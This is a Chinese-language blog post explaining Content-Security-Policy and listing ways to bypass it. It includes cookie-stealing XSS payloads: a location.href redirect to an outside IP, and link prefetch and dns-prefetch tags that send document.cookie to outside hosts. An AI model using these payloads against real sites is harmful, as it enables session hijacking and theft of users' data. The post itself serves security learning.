CPS策略以及绕过

作者 ro0t 于 2021-06-01 发布
预计阅读所需时间 2 分钟
622

CSP策略以及绕过

CSP简介

CSP(Content-Security-Policy) 内容安全策略,就是我们能够规定网站只接受指定的请求资源。CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行。它的实现和执行全部由浏览器完成,开发者只需提供配置类似于一个白名单。

严格的 CSP 在 XSS 的防范中可以起到以下的作用:

  • 禁止加载外域代码,防止复杂的攻击逻辑。
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
  • 合理使用上报可以及时发现 XSS,利于尽快修复问题。

CSP 的分类

  • Content-Security-Policy:配置好并启用后,不符合 CSP 的外部资源就会被阻止加载。
  • Content-Security-Policy-Report-Only:不执行限制选项,只是记录违反限制的行为。它必须与 report-uri 选项配合使用。

CSP 使用

  • Header中使用
1
2
Content-Security-Policy: 策略
Content-Security-Policy-Report-Only: 策略
  • HTML META中使用
1
2
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">

CSP绕过方式

  • iframe绕过

    1
    2
    3
    4
    要攻击A页面,A页面虽然有XSS,但是A做了CSP。
    找到一个和A同源的另一个页面BB是没有做CSP的。
    - 在A中使用XSS创建一个iframe 或 引入iframeiframesrcB页面
    - 再利用xss,iframe中引入恶意的js脚本,用来获取A页面的Cookie数

    原因:只有同源才能访问Cookie等数据

  • 跳转绕过

    有的 csp 会使用 script-src 'unsafe-inline'; 这个地方可以直接用location.href(window.location/window.open)绕过

    1
    http://127.0.0.1/csp/?twosecurity=<script>location.href='http://x.x.x.x/cookie/'%2bescape(document.cookie);</script>
  • <link>标签预加载

    在Chrome下,可以使用如下标签发送cookie

    1
    <link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">

    在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie

    1
    <link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !